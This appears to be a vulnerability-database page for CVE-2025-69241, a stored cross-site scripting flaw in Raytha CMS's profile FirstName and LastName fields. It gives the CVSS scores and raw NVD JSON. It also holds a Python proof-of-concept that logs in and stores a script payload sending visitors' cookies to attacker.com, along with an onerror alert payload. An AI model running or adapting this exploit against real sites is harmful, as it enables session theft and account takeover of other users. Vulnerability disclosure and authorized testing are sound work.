Security Vulnerability Report
中文
CVE-2025-69241 CVSS 5.4 MEDIUM

CVE-2025-69241

Published: 2026-03-16 14:18:01
Last Modified: 2026-03-16 19:28:09

Description

Raytha CMS is vulnerable to Stored XSS via FirstName and LastName parameters in profile editing functionality. Authenticated attacker can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page. This issue was fixed in version 1.4.6.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:* - VULNERABLE
Raytha CMS < 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-69241 PoC - Raytha CMS Stored XSS # Target: Raytha CMS < 1.4.6 # Attack Vector: Profile editing via FirstName/LastName parameters BASE_URL = "http://target-raytha-cms.com" USERNAME = "[email protected]" PASSWORD = "password123" # XSS payload - Cookie stealer XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def login(session): """Authenticate with valid credentials""" login_url = f"{BASE_URL}/auth/login" data = {"email": USERNAME, "password": PASSWORD} response = session.post(login_url, data=data, allow_redirects=True) return "Logout" in response.text def exploit_stored_xss(session): """Inject XSS payload via FirstName and LastName fields""" profile_url = f"{BASE_URL}/account/profile" # Prepare XSS payload payload = { "first_name": XSS_PAYLOAD, "last_name": "<img src=x onerror=alert(document.domain)>", "submit": "Save Changes" } response = session.post(profile_url, data=payload) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when profile page is visited") else: print("[-] Injection failed") def verify(session): """Verify XSS is stored and reflected""" profile_url = f"{BASE_URL}/account/profile" response = session.get(profile_url) if XSS_PAYLOAD in response.text: print("[+] XSS confirmed - Payload stored in profile") return True return False def main(): session = requests.Session() print("[*] Logging in...") if not login(session): print("[-] Login failed") return print("[+] Login successful") print("[*] Injecting stored XSS payload...") exploit_stored_xss(session) print("[*] Verifying injection...") verify(session) print("[*] PoC complete - Any user viewing this profile will trigger XSS") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69241", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:01.390", "lastModified": "2026-03-16T19:28:08.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Raytha CMS is vulnerable to Stored XSS via FirstName and LastName parameters in profile editing functionality. Authenticated attacker can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page.\n\nThis issue was fixed in version 1.4.6."}, {"lang": "es", "value": "Raytha CMS es vulnerable a XSS Almacenado a través de los parámetros FirstName y LastName en la funcionalidad de edición de perfil. Un atacante autenticado puede inyectar HTML y JS arbitrarios en el sitio web, que se renderizará/ejecutará al visitar la página editada.\n\nEste problema fue solucionado en la versión 1.4.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.6", "matchCriteriaId": "4A4FC7D6-F33F-4121-A375-B063263585FD"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://raytha.com", "source": "[email protected]", "tags": ["Product"]}]}}